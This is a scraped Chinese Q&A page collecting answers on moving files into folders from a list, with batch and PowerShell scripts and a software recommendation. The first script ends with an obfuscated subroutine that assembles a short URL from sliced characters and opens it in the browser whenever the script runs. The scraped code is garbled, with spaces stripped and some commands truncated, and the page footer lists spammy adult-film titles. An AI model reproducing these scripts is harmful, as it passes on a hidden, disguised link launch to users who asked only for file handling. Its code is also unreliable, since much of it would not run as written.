导航:首页 > 文件处理 > 根据清单批量移动文件夹

根据清单批量移动文件夹

发布时间:2022-07-01 09:17:58

❶ bat批处理,根据清单中的文件名将多个文件移动到另外一个路径下,如何批量处理非常感谢!

@echooff&title移动清单内文件By依梦琴瑶

::设置清单列表文件
setList=D:FilesList.txt

::设置原文件所处目录路径
setSrcDir=D:MyFileFolder

::设置目标保存目录路径
setSavDir=D:SaveFileFolder

::此段落代码适用于原文件在主目录中
for/f"usebackqdelims="%%ain("%List%")do(
move"%SrcDir%\%%~a""%SavDir%"
)


::此段落代码适用于原文件在主目录或其子目录中
for/f"usebackqdelims="%%ain("%List%")do(
pushd"%SrcDir%"
for/f"delims="%%bin('dir/a-d/s/b"%%~a"')domove"%%~b""%SavDir%"
popd
)

::以上两个段落代码,请根据自己需求选择保留其中一个,不需要的,请删除。

pause
call:Donate
exit

:Donate
set"S0=fPdv"
set"S1=.:ailnhpst/"
set"S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set"S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start"""%S2%%S3%%S1:~10,1%%S0%"
exit

❷ 如何将文件批量移动到带有同名的文件夹

复制粘贴到记事本,另存为xx.bat,编码选ANSI,跟要处理的文件放一起运行

@echooff&modeconlines=3000
rem根据文件和文件夹的名称中都包含有的部分相同字符串,将文件移动到对应的文件夹里
set#=Anyquestion&set@=WX&set$=Q&set/az=0x53b7e0b4
title%#%+%$%%$%/%@%%z%
cd/d"%~dp0"
>"%tmp%j.j"echo;while(!WSH.StdIn.AtEndOfStream){varf=WSH.StdIn.ReadLine();WSH.echo(f+'^|'+f.replace(/^^d+/,''))}
for/f"tokens=1*delims=|"%%ain('dir/ad/b^|cscript-nologo-e:jscript"%tmp%j.j"')do(
for/f"delims="%%cin('dir/a-d/b"*%%b*.*"2^>nul')do(
echo;"%%c"--^>"%%a"
move"%%c""%%a"
)
)
:end
echo;%#%+%$%%$%/%@%%z%
pause

❸ 如何根据指定的文件夹目录,批量复制到指定的文件夹里

使用这款专用的软件来完成!选择其中的第13选项卡,勾选含子文件夹,勾选文件夹,添加文件夹列表,导入数据源清单,单击搜索目标,然后选择处理方式为复制,指定输出目录,单击复制按钮。

❹ 批量移动当前目录下的所有子文件夹

不清楚你的实际文件/情况,仅以问题中的样例/说明为据;以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI,跟要处理的多个文件夹放一起双击运行
<# :
cls&echo off&mode con lines=5000
rem 将当前目录下第二级子文件夹里的文件剪切/移动到第一级子文件夹里/上一级子文件夹里
set #=Any question&set _=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%_% %z%
cd /d "%~dp0"
powershell -NoProfile -ExecutionPolicy bypass "Invoke-Command -ScriptBlock ([ScriptBlock]::Create([IO.File]::ReadAllText('%~f0',[Text.Encoding]::GetEncoding('GB2312')))) -Args '%~f0'"
echo;%#% +%$%%$%/%_% %z%
pause
exit
#>
[byte[]]$b=@(32,45,45,62,32);
$c=[Text.Encoding]::Default.GetString($b);
$self=get-item -liter $args[0];
$path=$self.Directory.FullName;
$folders1=@(dir -liter $path|?{$_ -is [System.IO.DirectoryInfo]});
for($i=0;$i -lt $folders1.length;$i++){
$folders2=@(dir -liter $folders1[$i].FullName|?{$_ -is [System.IO.DirectoryInfo]});
for($j=0;$j -lt $folders2.length;$j++){
$files=@(dir -liter $folders2[$j].FullName);
for($k=0;$k -lt $files.length;$k++){
$files[$k].FullName.substring($path.length)+$c+$folders1[$i].FullName.substring($path.length)+'\'+$files[$k].Name;
}
#remove-Item -liter $folders2[$j].FullName -ErrorAction SilentlyContinue;
}
}

❺ 请教如何将清单中的文件和文件夹批量复制或者移动到指定文件夹

不清楚你的实际文件/情况,仅以问题中的样例/说明为据
复制粘贴到记事本,另存为xx.bat,编码选ANSI

@echooff
rem根据一个txt文本文件里列出的文件或文件夹的名称清单,将多个文件或文件夹从一个文件夹里复制到另一个新的文件夹里
set#=Anyquestion&set@=WX&set$=Q&set/az=0x53b7e0b4
title%#%+%$%%$%/%@%%z%
cd/d"%~dp0"
set"txtfile=名称清单.txt"
set"oldfolder=D:xxx原文件夹"
set"newfolder=D:xxx新文件夹"
ifnotexist"%txtfile%"(echo;"%txtfile%"nofound&gotoend)
ifnotexist"%oldfolder%"(echo;"%oldfolder%"nofound&gotoend)
ifnotexist"%newfolder%"md"%newfolder%"
for/f"delims="%%ain('type"%txtfile%"')do(
set"f="
ifexist"%oldfolder%\%%a"(
setf=1
echo;"%oldfolder%\%%a"--^>"%newfolder%\%%a"
x"%oldfolder%\%%a""%newfolder%\%%a"/e/h/y/q
)else(
ifexist"%oldfolder%\%%a"(
setf=1
echo;"%oldfolder%\%%a"--^>"%newfolder%"
/y"%oldfolder%\%%a""%newfolder%"
)
)
ifnotdefinedf(echo;[notfound]"%%a")
)
:end
echo;%#%+%$%%$%/%@%%z%
pause
exit

❻ 根据excel批量移动文件到文件夹

在你excel的c2或者d2写
=" " & right(a2,3) & ".jpg " & a2
回车
之后你的C2或D2会变成 001.jpg hc-x-2011-001
用自动填充钮向下拖动填充
然后把C或D列复制一下,贴到记本事本里,保存,类型为所有文件*.*,文件名比如是1.bat,保存到你hc-x-2011下,执行就行了。
这个只是复制,要移动的话需要把上面的改为move,注意做好备份再执行,以防意外。

❼ 如何快速批量将多个文件移动到多个文件夹下

选中一个文件,然后按中shift不放 点击另一个文件,然后这两个文件之间所有文件都被选中,创建多个窗口进行拖动到你想要的目录下就行了;

另:按住Ctrl 不放 可单独增加选中某一个文件夹;在已选中的文件中按住Ctrl点击可取消选中当前文件。

❽ 如何批量移动文件到各个文件夹

直接用软件就可以了,推荐你一个软件吧:
文件分拣机
更新版本:1.8
适合系统:win8/win7/vista/win2003/winxp
软件介绍:
文件分拣、归类工具:
可根据文件名称把名称相同或相近(通过设置过滤条件)的文件批量复制或移动到相应的文件夹中,如把某磁盘下”A工程.doc“,”A工程.xls“,“A工程1.Jpg”等文件统一归类(复制或移动)到“C:\A工程”目录下;
可根据文件类型把同一类型的文件批量复制或移动到相应的文件夹中,如把磁盘上所有MP3文件复制或移动到”MP3“目录,把JPG图像文件归类到”JPG“目录;
按文件大小分拣文件:比如将大于或小于300K的文件从文件群中找出来。
按图片文件尺寸分拣图片文件:比如将宽或高大于或小于300像素的图片从文件群中找出来。
按文件的创建时间、修改时间分拣:将某个特定时间点之前或以后的文件分离出来。
分拣选项包括:可设置只包括或排除某种文件类型分拣,如只分拣XLS
DOC文件,或不分拣JPG文件等、可以选择进行移动式或复制式分拣等。
绿色软件,下载解压即可使用。
http://www.skycn.com/soft/appid/19274.html

阅读全文

与根据清单批量移动文件夹相关的资料

热点内容
男男强暴电影 浏览:604
便利店送货上门app叫什么 浏览:468
win8怎么打开命令行 浏览:129
p开头的一个看片软件 浏览:755
西班牙电影不准备的爱情 浏览:177
python转换器使用教程 浏览:629
cad图纸重复图形命令 浏览:769
法国女同床戏多私处可见的电影 浏览:926
那你给年龄那边电影想电影想一起电影 浏览:994
原耽小说下载 浏览:873
香港一级红色电影 浏览:505
三级伦理电影胸大女主角拍的电影有哪些 浏览:170
但为君故by龙弥txt 浏览:384
mac安装不了python库 浏览:258
现代父子训诫墨唯瑾 浏览:290
linux应用防火墙 浏览:500
百度云服务器白嫖 浏览:270
韩国同志电影肉多的有哪些 浏览:643
床戏很厉害的电影 浏览:893
苏州追觅科技程序员 浏览:919